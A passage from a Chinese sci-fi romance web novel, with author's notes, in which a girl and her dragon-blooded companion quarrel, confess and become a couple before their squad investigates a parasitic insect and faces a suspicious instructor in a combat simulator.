原本努力叩门的心跳平静了不少,弓起的脊背挺直,眼神变得清明。 颂千纱坐直了身体俯视胤允:“胤允,我说过,不可以用狩猎的眼神看我。” 她的声音平缓却不容拒绝,把二人逐渐倾斜的位置移回了原有的位置。 胤允眉眼怔忪了片刻。 拢住颂千纱脚踝的手逐渐放松,却固执地不愿意完全松开,手依旧盈盈握着,却是颂千纱抬脚就能甩开的程度。 胤允直起的身子逐渐佝偻,原本扬起的脑袋逐渐垂了下去。 他张嘴吐出一口气,像是懊恼,又像是想要解释什么:“对不起,可……” 挣扎了半晌,最后眉眼耷拉着,视线从颂千纱的眼睛上逐渐滑落,垂眼盯着颂千纱的脚踝:“对不起。” 他似乎有许多话想说,但又堵在喉咙,最后只能丧气地垂着眼。 房间很安静,颂千纱甚至能听见他的手指摩挲脚踝的声音。 颂千纱抿了抿唇,视线落在他的下巴上。 胤允的下巴搭在膝盖上,印出微微的红痕。 气氛停在此刻许久,直到她感觉到恒温床向上散发着适宜的热意,她才惊觉这是从一开始,胤允就散发着的关心。 颂千纱紧抓着床单的手微微放松,原本笔直的脊背微弓,与他一起看着脚踝。 “纱纱,为什么不可以靠近?”胤允垂着脑袋,语气带着低落,又带了些焦急:“我刚刚有些急了,我向你道歉,可是我认为我们不应该——”话到一半,像是被记忆堵住了,又像是别的什么,最后化为一口气,被叹了出来:“我们身上没有彼此的味道了,这会让我——”他的话再次戛然而止。 胤允换了个姿势,用手抹了把脸上,把额角的碎发撩了上去,用手撑着半张脸,眼睛又像是在盯着颂千纱的手,又像是在发呆。 心中的不安会随着时间的推移愈演愈烈,他说不清来由,也没法解释。 颂千纱的手不自觉地握紧。 她观察着胤允的动作。 握着脚踝却不敢用力的大掌,耷拉着的眉眼,迷茫又焦躁的神态。 他的模样像是占有,又像是失去后的无措。 颂千纱知道他觉得堵,他甚至没有记忆来辩驳自己的感受。 “胤允。”她深吸了一口气,直直地看着他的眼睛。 许多迷蒙的念头在此刻变得清晰。 心跳在此刻没那么剧烈,却一声一声地有力而清楚,响彻她的身体。 颂千纱不想他困在这样的不安里,撞破头也找不到理由。 她抿唇,左手扯住他的衣领向上提。 她闭眼吻了上去。 清冽的莲花香气占满了呼吸,唇上温软一片,他猝不及防地退后了半步,二人重心不稳,从后倒了下去。 胤允的大掌迅速包住她的膝盖,不让她撞到。 “咚——”颂千纱睁眼看向他,她双手撑着他的胸膛,膝盖被他抱住,整个人都被他接住。 她慌忙把膝盖抬起,让他把手抽出。 二人躺在地上对视,胤允的瞳孔不知何时已经细如针尖,颂千纱怔怔地看着他,他的眉眼似乎都松开了,扬眉呆愣着。 他神色清亮,声音却很低哑:“你……” 话音未落,颂千纱凶狠地吻了上去。 胤允整个人都顿住了片刻。 颂千纱紧揪着男人紧扣的衣领,在拥吻间被扯松。 胤允的手在此刻扣了上来,他双手紧握着她的腰,似乎想要推开,又想要拉的更近。 门外忽然传来叩门声。 紧接着,是时循的声音。 时循蹙着眉:“纱纱,胤允,你们没事吧?” 颂千纱的身形骤然僵住,她猛地抬起头来看向门口。 唇瓣的温软被强制剥离,胤允眉间的烦躁快要溢了出来,他双手撑起地面,将两个人抬了起来。 二人的距离被拉开,各自平复着呼吸。 颂千纱站起来走向门边,胤允往又瞥了眼全身镜,嘴角一勾,也跟着走过去。 “我们没事,就是摔了一跤。”颂千纱一边开门一边说。 外面站着三个人,瞥向他们后,表情有不同程度的凝固。 三人的身形僵硬了三秒。 女人的唇肿了些,脸上带着明显的绯红,男人衣领杂乱,满脸被打扰的不悦。 二人都看着他们。 时循转头就往回走:“打扰了,我们去打牌了。” 齐焦和周之旭慢了一拍,异口同声地跟了一句,也走了。 颂千纱蹙眉歪了歪头,不明所以:“怎么了他们?” 胤允耸肩摊手摇头,他低头睨着颂千纱,嘴角勾起一丝弧度。 他用手一按,门咔哒一声关上。 他再次俯身,把颂千纱禁锢在怀里,吻了上去。 她本能地与他相贴,却很快察觉到自己的纵容。 开门时停顿的气氛再次氤氲。 颂千纱眼中被迷蒙覆盖,她隐隐察觉到有什么正在失控,可她沉醉其中,一时无法分辨。 这次男人的吻不再被动,他把颂千纱的腰揽住,力道不大却分外强势。 房间内传出吮吻的水声。 过了许久,颂千纱挣扎着推开了男人,仰头贴着墙喘息着。 指尖还带着莫名的软意,胤允伸手一揽,把她单手抱了起来,往床边走去。 床柔软舒适的温度把她包围,颂千纱看向他,她撑着床,双手骤然抓紧。 像是被床的温度烫到,她迅速从怀里钻出,站了起来,神色带着些慌乱,望着他。 胤允看着她的唇,眼神晶亮。 她下意识抿唇,可唇间的麻意让她吓了一跳,她吞咽了一下。 麻意彻底叫醒了迷蒙的脑子,原本只是不想他那么不安,但现在二人之间的气氛却往另一个方向一发不可收拾。 警报瞬间拉起,可她不知道要如何喊停。 胤允下意识向前了一步,她退后了好几步。 “我,我去找他们打牌!”她的眼神向四处瞟去,拧开门把手就冲了出去。 门外的光亮起又关上,迅速向从未出现过一般。 胤允呆愣了片刻,追了两步,后站在原地望着她离开的背影,清冽的莲香淡了下来,他看向手掌,摩挲了一下指节。 他长吁了一口气,一屁股砸在床上。 他翻来覆去地思考颂千纱的行为,可越想越迷茫,他分不清颂千纱靠近又离开的原因,也想不通。 辗转了几次后,他抓了抓头发,也推开门走了出去。 一股醇厚的酒味瞬间涌入鼻腔,紧接着是笑声。 颂千纱正和几人玩牌赌酒,神采风扬地和齐焦捧杯,在说些什么。 几人见他来了,都不约而同腾了个颂千纱身边的位置,可颂千纱的表情又敛住笑,蹙着眉眼不看胤允。 胤允蹙着眉在她身旁坐下。 “颂哥,我们正玩抽卡喝酒的游戏呢,你也来抽一张?”周之旭开始洗牌,看向胤允:“一杯酒,可以抽一个人回答问题。” “我们已经问出来林清澜是循姐的前男友了。”周之旭对他挑了挑眉,一脸坏笑。 话毕,周之旭被时循瞪了一眼,他缩了缩脖子,齐焦哈哈大笑。 他把牌递到胤允的面前。 胤允抽了一张,挑了挑眉,语气分明是在问周之旭,目光却落在颂千纱身上:“什么能问吗?” 时循瞥向二人,嘴里叼着没有点燃的烟,眼神微眯,她与齐焦对视,二人都在对方眼里看到了意味深长。 他们之间,气氛变得很奇怪。 “只能问卡面上的问题!不过!如果抽到白卡,什么问题都能问!”周之旭看不懂场内奇怪的气氛,眼中狡黠一闪,倒了一大杯放在胤允面前:“要喝完才能问哦!” 啤酒杯大小的酒被他端起一饮而尽,他抽了翻开卡面,一章白板赫然出现在众人眼前。 “运气这么好啊,有福喽!”齐焦笑得漫不经心,她盘腿坐在椅子上,笑得惬意。 “偶像!你怎么这个也这么强!”周之旭惊叹。 时循不说话,眼神玩味地看着二人。 胤允目光炯炯地望着颂千纱:“能问吗?” “你想问什么经过我同意干嘛?这是游戏规则。”颂千纱也不看他,梗着脖子说话。 二人的气氛降到冰点,让周围人不敢说话。 胤允眉心微蹙,下颌绷得很紧,他沉默了一会儿,把手中的啤酒杯放回桌面:“好,你刚刚是什么意思?我弄不明白,是能靠近,还是不能靠近?” 这话一出,就连周之旭也看出来二人之间的不对劲了。 他刚想张口,就被齐焦迅速捂住嘴。 胤允绷着脸瞥了周之旭一眼,目光又落在颂千纱身上。 颂千纱抿着唇,手里握着酒杯,紧了松,送了近,沉默半晌,就是没回答。 “不准备告诉我?”胤允的语气很淡,但所有人都能听出他在压抑火气。 “咚——”颂千纱猛地把酒放在桌面,嘴巴抿的很紧。 她犹豫了一会儿,又把到嘴边的话咽了回去,换了一句:“你自己都没想清楚,问我做什么?” “我什么没想清楚?”胤允的眉毛猛地挑了起来,一脸惊诧。 作者有话说:写作时间一天比一天长,进入状态一天比一天困难,虽然已经总结了好几点现阶段的问题,但是随着发现问题,也让我在写文时带上了有色眼镜,怎么看怎么不好,没大纲没存稿的坏处在此刻体现,渐渐不会因为点击而感到失落和焦虑,但还是会为老读者的来到而开心,明天要回家了,长叹一口气,希望可以达到自己的要求,希望过年顺利 第54章 “这是第二个问题。”颂千纱偏不让他顺心。 周之旭缩了缩脖子,他看向齐焦和时循,二人冲他摇了摇头。 “那再来!”胤允磨牙瞥她。 “再来也轮不到你了!”颂千纱歪头看向周之旭:“往哪轮现在?” “呃……”周之旭挠了挠头,他看向时循:“到哪了?” 时循瞥向颂千纱,一时没说话。 自胤允说话后,场上的气氛就开始变得尴尬,颂千纱深吸一口气,拿起时循手边的酒水就往嘴里灌。 “颂千纱,度数很高。”时循蹙眉。 颂千纱一饮而尽后摆了摆手,拽上胤允就走,转头和几人打招呼:“我们一会儿再来,你们先玩!” 咔哒一声,房门关上。 时循朝房间瞥去。片刻后,她冲齐焦使了个眼色,带头往房间走去。 齐焦立刻会意,捂着周之旭的脸就跟上。 时循默不作声,屏着呼吸从粒子环里掏出隔音球,把三人团团包住后,她微微松了口气:“这么谨慎了,他们应该不会发现我们吧?” 齐焦看了看周围的蓝光,又看了看时循,咂了咂嘴:“你下作,当初你就是这么不让我们听你的八卦的。” 周之旭大受震撼,从粒子环里掏出一袋瓜子,向时循竖起大拇指:“专业,向你学习。” 空间内只剩两人,悉索的声音逐渐变小,逐渐只剩颂千纱摩挲裙角的声音。 她顿了顿,察觉到声音后,绷着脸就坐在那里,也不说话。 房间安静了许久,恒温依旧系统开着,却莫名让颂千纱觉得冷,她微微瘪嘴。 胤允也绷着脸,站起来默不作声把温度调高两度。 做完一切,他深吸了一口气,用力对着虚空狠狠咬了两口空气后转身。 他继续绷着脸瞥颂千纱:“我哪里没想清楚?你告诉我行不行?” 颂千纱还是不看他,弓着背抱着膝盖,蜷缩成一团,手里捧着酒瓶。 酒水随着手臂摆动微微晃着。 “纱纱,我摸不透你在想什么。”胤允又长吁一口气。 他蹙着眉沉默了许久,也没有找到一个合适的词去概括他们现在遇到的问题,像是盲人摸象。 胤允束手无策,只能看着她:“我们之间不应该像现在这样,到底是因为什么?” 回答他的还是一片寂静。 “你告诉我啊!”他顿了顿,抿唇压了一口气,语气尽量缓和:“我们一起去解决。” 颂千纱的嘴唇抿成一字。 她沉默了许久,久到胤允的腿微微发麻。 他烦躁得忍不住闭眼,几乎以为颂千纱不会再开口。 “我们是什么关系?”颂千纱忽然出声。 她问的很轻,像一句不经意说出的话。 但这话让胤允愣了许久,让胤允的生气如同被戳破的气球,莫名瘪了下去。 他张口就想说是最亲密的关系,可话到嘴边又莫名被咽下。 他原本松开的眉头又蹙了起来,拇指摩挲指节,半晌,双手又交叠在一起。 他犹豫了许久,抬眸看向她:“伴生关系?” 心脏发紧,从胃里挤出酸涩,颂千纱突然觉得这一切都很累很重,重到她想要逃避。 颂千纱紧握酒杯的手微微松懈,垂着脸:“那就不能靠近。” 房间再次变得寂静。 “为什么?”胤允的声音上扬,眉头蹙的死紧,他的手掌握紧。 “只是伴生关系就不可以。”她把头偏了过去,她脸上的失落太过明显,又不愿让他看到。 胤允咽喉滚动了一下,他捏着眉心不断揉着,手指用力到泛白,他最厌恶的无力感侵袭全身,压抑了许久的怒气几乎要从嘴里喷出来。 他缓了许久才再次开口:“伴生关系为什么不可以?我们之间不是最亲密的吗?” 颂千纱心里很堵,出气也难受,进气也难受。 她用双手捂住了脸,长叹一口气,蓄力了许久,终于有力气再次说话:“我以后还要找男朋友,你以后也——”“颂千纱!”胤允的眉眼彻底被点燃,他第一次叫了颂千纱的大名。 胤允彻底被她激怒,眼睛细如针尖,眼眶都带着淡淡的红意。 他扣住颂千纱的下巴,固执地让她转头与自己对视,尖牙都露了出来:“你不会有男朋友!” 他的呼吸急促到颤抖,眼底全是偏执和恐惧。 可颂千纱来不及往深处看,她被他的强迫姿态气的要命。 颂千纱用力推着他的手臂,奋力挣扎:“我凭什么不会有?!” “因为你有我!”他吼了出来:“你的身边已经有我了!” “不要脸!”颂千纱的眼睛开始泛红,积攒的情绪在此刻彻底爆发:“你没资格——”“我是先来的!”胤允的音量很大,带着一丝颤抖。 “啪——”很响亮的一声巴掌,门外三个人嗑瓜子的动作都停了片刻。 “没想到颂千纱这么勇敢,不会被颂戈打死吧?”周之旭手中的瓜子都不香了,他拍了拍手看向二人,想要站起来推门:“我们进去帮她吧?” 时循坐的离他近,把他拉住,一手还嗑着瓜子:“小场面,坐下。” “你偶像的尿性,打他三巴掌都要问纱纱手痛不痛,你没看过直播吗?”齐焦古怪地瞥了眼周之旭。 “我那几天闭关训练呢!”周之旭当即掏出手机开始搜索。 “不急,先看完现场的。”齐焦嘴角就没下来过。 屋内。 胤允脸上多了一道红痕,头被打偏了过去。 颂千纱掌心发麻,冲着胤允喝道:“给我道歉!” 胤允失神了片刻,下意识想要抬手,查看她的微微颤抖的手心,可他顿了片刻,又放下手臂。 他垂着眼抿唇:“对不起。” 两人都没有说话,各自缓着呼吸。 过了半晌,颂千纱绷着脸端起杯子,把酒一饮而尽。 她缓了口气,盯着酒杯,手掌还在不自觉地颤抖着,麻意伴着愧疚不断在心中发出嗡鸣。 颂千纱闭了闭眼,不敢看胤允脸上的红印。 胤允双眼盯着颂千纱,金眸微沉,眼底的占有欲愈发明显。 颂千纱像是终于缓了过来,她抿唇与他对视,把胤允心中的想法看了个干净。 那口气依旧堵着,却奇异地没有那么糟糕了。 颂千纱木着脸,再次开口:“我有你了,所以呢?我们是什么关系?” 她语气依旧强势,声音高扬着。 包厢内的气氛奇异地没有那么低了。 胤允被问的一愣。 他的语气试探着说出口:“最亲密……?” 颂千纱的脸色不变。 “家人?”他再次试探。 颂千纱的脸依旧绷紧,眉头蹙成一团。 胤允的指节不自觉地转动着酒杯许久,他思索了半天,忽然眼神一亮:“主仆关系?” 这是他经过刚刚一个耳光得出的灵感。 这回应该没错了。 颂千纱被呛得一口酒喷了出来。 原本雪白的衬衫变得青黄一片,她被呛得鼻腔通风。 “怎么这么激动?还不对吗?” 他赶忙把纸巾递给她,帮她擦着领口上的酒渍。 胤允紧眉深锁地思考了一会儿,脑中灵光一闪:“那母子关系?” 颂千纱额角的青筋跳了跳,甩开他的手,面无表情地站起来要开门出去。 她和这个鲨比没有什么可聊的。 胤允立刻站起来,挡住她的去路。 “这个也不对,那个也不对,那还能是什么?”他的眉头蹙成一团,抓狂地喊道。 门外三人也快抓狂了。 “这人是啥?他是猪吗?”齐焦瓜子也不香了。 时循摇了摇头,蹙眉揉着太阳穴:“别侮辱猪。” 周之旭一脸不忿:“就是啊!还能是什么啊?” 齐焦与时循对视。 齐焦看向时循,指了指周之旭:“你队友。” 时循眉头蹙的更深,瞥了眼周之旭,指了指门内:“你队友。” 屋内。 她站在原地,深吸了一口气,定定地看着胤允。 男人眼里有焦急,有恐惧,有挫败,有失控。 他抿着唇站在门前,做出一副绝不让步的架势,眉眼却耷拉着。 他叹了一口气,肩膀垂的更低了:“我笨,纱纱。” 颂千纱也叹了一口气,她闭了闭眼,也垂丧着头,像是被胤允彻底打败了。 “你喜欢我吗?”卡在喉咙间许久的话就这么自然的流了出来。 胤允脸色古怪的看着她:“这还用问吗?肯定喜欢啊!” “……哪种喜欢?亲情之间的喜欢?”颂千纱看向胤允,脸上面无表情。 “肯定不是啊,是你只有我,我只有你的喜欢。”胤允不明白颂千纱问这话的意思,他眉头蹙的很深。 颂千纱的眉头终于松了一点。 “……那你喜欢我,我喜欢你,我们可能会成为什么关系?”她提了口气,耐心的问。 胤允一怔,他此刻才反应过来,颂千纱哽在喉咙好几天的话到底是什么。 他看向颂千纱,眼神细如针尖。 怦! 怦怦! 原来不是要拉开他们的距离,而是贴近。 颂千纱是在等,等他找到一个名正言顺的方式,等他站在她身边。 她所有的反常举动在这一刻都串了起来。 他的脸色唰的一下变红,龙角在此刻显形,脸上黑金色的鳞片也露了出来。 颂千纱对此依旧面无表情,她已经被他的母子关系震碎了。 “……” 胤允张了张口,脸上的巴掌印经过血液循环更加显眼,甚至有些肿了。 他终于找到了那个词,他看向颂千纱的眼神晶亮,像是要确定答案是否正确。 胤允感觉喜悦快要钻出胸膛,但尾巴比喜悦先行一步。 颂千纱扫了眼他乱晃的尾巴,紧绷的脊背终于松懈了一些。 她在心中长吁一口气,这厮这次脑回路终于没滑坡。 “纱纱!”胤允猛地抱住颂千纱:“我喜欢你我喜欢你我喜欢你!” 颂千纱的腰间被紧紧桎梏,他甚至抱着她从跳来跳去的。 她被颠得一晃一晃,忍不住扶额摇头,嘴角却抿出一丝笑。 “我们可以是情侣关系!”胤允忍不住抱住她转圈,整个人都兴奋起来。 作者有话说:母子关系可能略有雷点,我怕没说清楚解释一下,其实在主仆关系的时候,男主的情绪就已经占领高地直冲大脑,理智开始退化了,他觉得颂千纱不想要他了,整个人非常乱想到什么说什么,完全没有想起来这些 第55章 许久不见的龙尾依旧缠着她的小腿,让她忍不住彻底漾出笑容。 她笑着回拥住胤允。 “纱纱,好开心,想亲。”话毕,他转圈吻了上去。 他双手禁锢着她的腰,龙尾紧紧缠住颂千纱。 “你别这么缠着我!啊——”二人相拥着往门口栽了下去。 胤允转身垫在颂千纱下面,颂千纱惯性摸住门把。 一个用力,门开了。 颂千纱压在胤允身上,正好把他整个挡在死角,转头看向门外。 “……” 四双眼睛四目相对,颂千纱的身体瞬间僵硬,握在门把上的手缓慢地往回收。 胤允见颂千纱表情呆愣,尾巴扫过颂千纱的小腿,龙的特征瞬间消失,他撑起身子也转了过去。 时循嗑瓜子的动作顿了顿,把手里剩下的瓜子还给周之旭,拍了拍手里的灰尘,扯下隔音罩。 齐焦吐掉嘴里的瓜子皮,耐心地等时循撤下防护罩,笑着向二人招手:“嗨!” 周之旭脸上写满了心虚,把手里的瓜子收进粒子环,局促地说:“我们不是偷听,是正好路过!” “……你觉得我会信吗?”颂千纱半阖着眼,看向周之旭。 胤允歪了下头,他眼睛里全是惬意,显然心情很好:“嗨!” 认识他这么久,他第一次朝三人打着招呼。 空气静默了一瞬,所有人沉默地看着胤允。 半晌,时循站起来拍了拍屁股,率先开口:“你们居然现在才在一起。” 齐焦也煞有其事的点了点头,也站起来瞥向二人:“我们以为你俩早就在一起了。” 周之旭大为震惊:“他俩刚刚在一起了?不是没有我愿意吗?” 周围空气一冷。 他看向四周,时循和齐焦不知道什么时候已经站起来走了。 时循:“困了。” 齐焦:“睡觉睡觉。” 周之旭脖子一缩,连滚带爬地往外走去:“到点了我也睡了。” 胤允目送几人离开,不知怎么的,他背后一冷。 胤允已经被踹出房间。 他站起来焦急地拍门:“纱纱!纱纱!” 他缓了一口气,咬着牙转头看向包厢内的周之旭:“周!之!旭!” 门外一声爆喝,颂千纱额角跳了跳,打开门看去。 门外空无一人,只在连廊处偶尔听见几声周之旭的惨叫。 “……”颂千纱叹了口气,捏了捏眉心,懒得管二人的追逐。 重新关上门躺在床上,酒精在此刻终于发挥作用,事宜的温度伴着迷蒙的困意侵袭全身,她闭眼转头就睡了。 次日清晨,太阳被厚厚的云层遮住,升高了许久,刚刚露出一个头来,时循就敲醒了几人的房门。 “纱纱,起来了,有事。” “马上。”因为昨天睡的早,今天起的并不困难,颂千纱从床上起来,刚刚下地就碰到了一片温热。 她顿了顿,往下看去:“……胤允,你怎么进来的?” 胤允还带着刚睡醒的惺忪,睁眼看她:“我爬窗进来的。” 二人是最后出来的。 颂千纱瞥了眼周之旭,他的眼窝有一块拳头大啊的淤青,很明显,是胤允昨晚打的。 不过此人像是失忆了一般,激动地朝胤允拍了拍自己旁边的位置:“偶像!纱纱!快来!” 胤允也不客气,拉着颂千纱一屁股坐下。 “纱纱,把虫子放出来。”时循开口道。 颂千纱点了点头,把玻璃瓶从粒子环拿了出来放在桌子中间。 原本虫子身体占瓶身的三分之一,如今却变得很小,只有五分之一,是一天时的大小。 那虫子更加迫切的看着时循,甚至急切想要咬破瓶身,却无果。 五人同时的脸色变得紧绷。 “虫族牙齿尖锐,怎么会瓶子都咬不破?”齐焦盯着虫子看:“它的状态明显毕前几天狂躁。” “难道是因为这个瓶子有特殊之处?”周之旭把脑袋往前伸,伸到瓶子旁,那虫子明显被吓得退了一步,然后虚张声势地亮出自己的口器,希望可以吓退他,接着更用力地咬瓶子。 周之旭眨了眨眼,用手戳瓶身:“看起来智商很高啊,不过真的咬不破,我看它连木塞都啃不下来。” 颂千纱摇了摇头:“这是普通的玻璃瓶。” 时循离门口最近,一边点早餐一边回答:“我接触过虫族的老巢,在克斯尔星时,就算是拇指大小的都能咬下钢筋,这个虫族怎么会这样。” “它的牙齿是专门咬精神力的。”胤允旁若无人的蹭着颂千纱的肩窝。 他想要抱着颂千纱被拒绝后就一直搂着。 时循猛地抬头看向胤允,所有人的动作都停了下来。 这句话如同炸弹一般在四人间炸开。 周之旭眼中全是不可置信,下意识与齐焦对视了一眼。 胤允对四人的视线视若无睹,但见颂千纱的视线望向自己,他眼神晶亮,吧唧亲了一口颂千纱。 时循把杯子放到桌边,神情逐渐严肃:“怎么看出来的?” 胤允挑眉,像是没料到时循会这么问。 “就这两个选项啊。”他掀了掀眼皮:“不然怎么解释一个钢铁都随口咬下的虫族咬不动玻璃?” 齐焦一手撑着脑门,蹙着眉:“只有这两种虫子吗?有没有别的类型的?” “除了虫后,没有。”胤允回的利落。 颂千纱侧目看向胤允:“是在虫族的交流中得知的吗?” 胤允仰头回忆了片刻,望着颂千纱:“差不多,我杀他们杀出来的经验,不过那些虫族没法寄生我,只会加速死亡。” 颂千纱蹙眉,龙血是至纯至补,二人幼时他偶尔也会被仙草缠住吸血,虫族无法寄生是因为什么? 她心中有些摇摆,转身望向胤允:“可治疗舱里我闻到了你的血。” 胤允趁颂千纱思考时搂住她往怀里带,脸上露出满足:“稀释了很多,百分之一的浓度吧?。” 颂千纱沉思片刻,望向时循。 “如果是精神力方面的,那就有迹可循了。”颂千纱从粒子环里取出一瓶饮料:“时循,你记得垃圾星救你那次吗?那时候你应该也有感觉。” 胤允十分自然地接过,帮她拆了包装插好,递给颂千纱。 时循眼眸微闪,她蹙着眉摩挲着指节。 她当然有感受,不管是最擅长的速度还是什么别的,都是随着体征缓缓减弱,只有精神力,是醒来后就彻彻底底的空了,退到普通人都不如。 “八年前……”时循微微垂头,思忖着。 “你八年前进了治疗舱。”齐焦像是想到了什么,她睨着时循,嘴角的笑淡了下来:“八年前我父母死了。” “我八年前动过一场手术,我姐和我说当时我伤得很严重,他们费了很大力气才救活我。”周之旭蹙着眉,像是想起了什么:“当时的总统想要帮忙介绍医生,我姐出于谨慎,没同意。” 都是八年前。 在座的各自心中都猛地一沉,包厢霎时间安静了下来。 “这一定不是巧合——”齐焦刚刚开口就立马收声,看向门口。 门外门铃响了。 颂千纱立刻收起桌上的瓶子,瓶内的虫子在颂千纱手中晕了片刻,醒后眼神在颂千纱和时循之间徘徊了片刻,就又站起来往时循的方向啃食。 是时循刚刚点的早餐,美味的佳肴在最适宜的时候端了上来,但显然几人都没有大快朵颐的意思。 机器人把早餐放到了桌上后安静离开,几人全程目送它出去后才说话。 “八年前,偶像你们呢?”周之旭看向胤允和颂千纱。 胤允睨了他一眼,回答的很淡:“我和她八年前没发生什么。” 颂千纱也没有回答。 她大概能猜到,胤允是八年前穿越过来的,而自己,没有在八年前穿来。 “先吃饭吧。”时循站起来盛了碗粥,递给周之旭:“我们上午正好上林老师的理论课,正好试探一下。” 她嘴角勾起一丝漫不经心的笑,启唇道:“林老师在八年前,行踪也分外诡谲。” 时循看了眼光脑:“现在快六点了,吃完我们就出发。” 话毕,颂千纱给时循盛了一碗粥给时循,冲她笑了笑。 出门时门外已经大亮,颂千纱深吸了一口附近的空气,几人走到航行舰停放点,踏了上去。 结果遇上早高峰,不出意料堵在半路上了。 “……我来开吧。”时循让周之旭靠边降落,周之旭点头。 时循开的很快,他们是七点整到的,到的时候学校正好响起上课铃声,几人对视一眼,开始狂奔撒丫子狂奔。 “周之旭!你以后不许开车!”齐焦一本跑一边冲着周之旭吼。 “冤枉啊大人!这是早高峰的锅啊!”周之旭也吼着回他。 航行舰停放点还是离训练室有些距离,他们花了五分钟才到。 五人气喘吁吁地赶到训练室。 林清澜正站起来收拾东西,见五人开门的动静后,并不惊讶,随即温和一笑:“我以为我今天等不到学生了,都准备走了呢。” 话毕,他的时循落在时循身上停顿一秒,他走到训练室中间坐下,点了点蓝色光球。 作者有话说:思考过年要不要休息还是继续更,要不要修文呢,这个点击掉的也太厉害了TAT 第56章 “这节改机甲课吗?”颂千纱见到他有些惊讶。 “林上校今天有事,我代上课。”林清澜嘴角挂着一丝笑,与她对视:“不喜欢我上课?” “不是不是。”颂千纱赶忙摆手,尴尬地扬起笑脸看他。 林清澜轻笑了一声,带头往模拟器那走。 他喜欢用模拟器,今天用的是热带雨林场景。 五人进入模拟器后便开始今天的负重跑。 五个人瞥着林清澜,窃窃私语,商量着怎么才能从林清澜手中弄点猛料。 “都用尽全力跑,站在一起做什么?”林清澜微微蹙眉,出声敲打。 几人身形僵住一瞬,跑回各自地跑道老实跑完。 跑完后不久,林清澜正在调试几人的数值。 周之旭突然举手:“林老师,我们不想用模拟器行不行?来点真枪实弹刺激的。” 林清澜瞥了他一眼,眼中有笑意,眼底却没有温度:“不行,老师身体弱,只能这样陪你们玩。” 时循观察半晌,对几人微微摇了摇头。 林清澜已经起疑心了。 “今天练练你们的团队协作,你们五个与我对战。”林清澜调试完毕,手中握着双枪,缓步向几人走来:“试试看。” 林清澜刚刚走近,忽然开始咳嗽,开始并不剧烈,他极力克制着,可后来止不住地愈发剧烈起来。他捂着嘴好一会儿,终于把手拿开。 他的眼睛盯着手掌,手上分明什么都没有,他神色却变得紧绷,手指不停发颤。 紧接着,似乎从粒子环拿出什么,吞了下去。 颂千纱看着他的一系列动作,歪了歪头。林清澜手中分明是空的,可神色表现出来却完全不同。 不知怎么地,颂千纱忽然从左前方渗出一丝血腥味,逐渐变浓。 这血的味道很奇怪,味道闻起来有股糜烂已久的错觉。 往左前方瞥去,可左前方空无一人。 她点开模拟器参数,可参数一片正常。 她蹙眉敛眸,有些不寒而栗。不止怎么的,她觉得左前方站着的是林清澜。 这股味道,是从他身上散发出来的。 颂千纱戳了戳胤允腰际,他歪头看她,原本搭在腰上的手臂搂得更紧。 他与颂千纱对视,可她刚刚张口环视四周,又把到嘴边的话咽了回去,对着胤允摇了摇头。 胤允眼中闪过一丝疑惑。 半晌,林清澜的咳嗽几乎完全止住,目光若有似无地在时循身上顿了片刻,见时循目光不变,他眼眸似乎暗淡了一瞬。 林清澜敛眸,眼中有一闪而过的暴戾,与他的一贯的温柔风及其不符。 颂千纱盯着他看,总觉得他今天给人的感觉很奇怪。 就好像,有什么不为人知的一面要彻底压不住了。 没过多久,他脸色恢复如常,重新拿起枪,与几人对视:“从现在开始,你们的机甲强度与身体强度都改为A,我调的等级是S,你们从现在开始,想办法打败我。” “你们要护好队里唯一的机甲师。”他的声音依旧温和而优雅,可手里的枪法却毫不手软。 话音一落,比赛开始。 与那天如出一辙,几人头顶再次出现血条。 【比赛倒计时。】 “胤允保护颂千纱,战场往近处拉。”时循快速布置站位:“齐焦,你站在中场干扰他,周之旭,和我一起想办法偷袭。” 五个各自点了点头。 【五、四、三、二、一、比赛开始。】 林清澜举起枪对准他们,一发子弹打的几人抱头鼠窜。 【齐焦中枪,血量-1】 “卧槽!”齐焦没忍住瞪大眼睛,开始全神贯注认真躲避。 林清澜出手的狠决与执行的速度与他温柔儒雅的外表大相径庭,让颂千纱有些惊讶。 “老师你出手这么狠?!”周之旭也惊诧地看向林清澜。 林清澜嘴角勾起一丝漫不经心的笑,语气温驯:“不管是比赛还是战场,没有温柔的敌人。” 话音刚落,林清澜的子弹与颂千纱擦身而过。 不知为什么,那股糜烂的血腥味离她愈发的近了,颂千纱下意识走神。 胤允上前一跃,帮颂千纱挡住一击。 【胤允中枪,血量-1】 林清澜射击的位置卡的十分精妙,扫射到胤允的同时,不偏不倚也正好打中颂千纱。 【颂千纱中枪,血量-1】 她与胤允同时受伤,回过神来,绷起脸,可那味道实在太浓,她往左前方又看了一眼,胸口再次一痛。 【颂千纱中枪,血量-1】 “纱纱,专心!”时循提声喝道。 颂千纱往树边趴去,躲过扫射,她与胤允对视一眼。 胤允不再带着她躲避,如猛虎般一跃而上,直朝着林清澜的面门打去。 时循踩着石头借力一蹬,身影如鬼魅般向林清澜跑去。 时循与周之旭即刻换位,被颂千纱领着往沼泽地跑。 三个人明目张胆往死角跑去,林清澜想要继续提枪摁住他们,可胤允的刀剑已经到了脸上,身后有时循偷袭,他只好先提速闪过他们的攻击。 时循闪身穷追,提速开枪,林清澜跑的更快,往身后看了一眼,像是能听声辩位一般,盲狙也与时循打的难舍难分。 颂千纱与齐焦对视一眼,后看向周之旭:“等会儿我把他往这边引。” 话毕二人就往胤允处跑去,颂千纱跑得快,追上胤允后往前一跃就开枪瞬狙,下来的瞬间,胤允搂住颂千纱。 【林清澜中枪,血量-2】 他眼中彻底没了温和,忽然加速闪身,朝时循开了枪。 【时循中枪,血量-1】 颂千纱眉头用力一蹙,正想转身,忽然一股那股血腥味更加浓厚了,她再次分神。 【颂千纱中枪,血量-3】 【颂千纱,出局。】 颂千纱立刻摘下模拟器,按下开关,血腥味没有随着模拟器的关闭而消失。 模拟舱外的空气比舱内要冷,灯光有些刺眼,她眨了眨眼适应。 她向四周看去,到处都弥漫着血腥味,奇怪的是,颂千纱没有见到。 只有不远处的林清澜饶有兴味地看着她。 颂千纱眉头蹙的更深,这与第一天见到的林清澜似乎有些不同,但又说不出哪里不一样了。 林清澜任由颂千纱端详半晌,才勾着唇开口道:“带上模拟器,继续对战。” 颂千纱心中的疑惑更深,她缓缓戴上模拟器。 五人又继续打了几个回合,最终都以颂千纱掉链子输了个惨败。 “今天的课就上到这里。”林清澜摘下模拟器,转身在光球上记录着什么。 “怎么了?”时循和胤允同时朝她走来。 颂千纱摇了摇头,盯着林清澜不放:“老师,你下课去哪?” “怎么了?”林清澜没有直接回答,微笑转头睨她。 